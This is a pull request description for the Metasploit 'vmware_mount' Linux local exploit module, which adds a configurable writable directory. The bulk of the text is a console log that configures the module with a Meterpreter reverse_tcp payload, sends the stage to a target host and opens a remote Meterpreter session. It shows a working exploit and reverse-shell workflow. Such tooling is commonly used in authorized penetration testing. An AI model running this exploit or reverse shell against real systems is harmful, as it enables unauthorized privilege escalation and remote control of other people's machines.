vmware-mount configurable directory

This PR adjusts the `vmware_mount` exploit so that a writeable folder can be specified (it defaults to `/tmp`). This fixes the case where the shell's current working folder isn't writable.

```
msf exploit(vmware_mount) > show options 
Module options (exploit/linux/local/vmware_mount):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   SESSION      1                yes       The session to run this module on.
   WRITABLEDIR  /tmp             yes       A directory where you can write files.

Payload options (linux/x86/meterpreter/reverse_tcp):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   DebugOptions  0                no        Debugging options for POSIX meterpreter
   LHOST         192.168.200.21   yes       The listen address
   LPORT         4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(vmware_mount) > exploit 

[*] Started reverse handler on 192.168.200.21:4444 
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1138688 bytes) to 192.168.200.103
[*] Meterpreter session 3 opened (192.168.200.21:4444 -> 192.168.200.103:34455) at 2014-11-27 21:38:00 +0000
```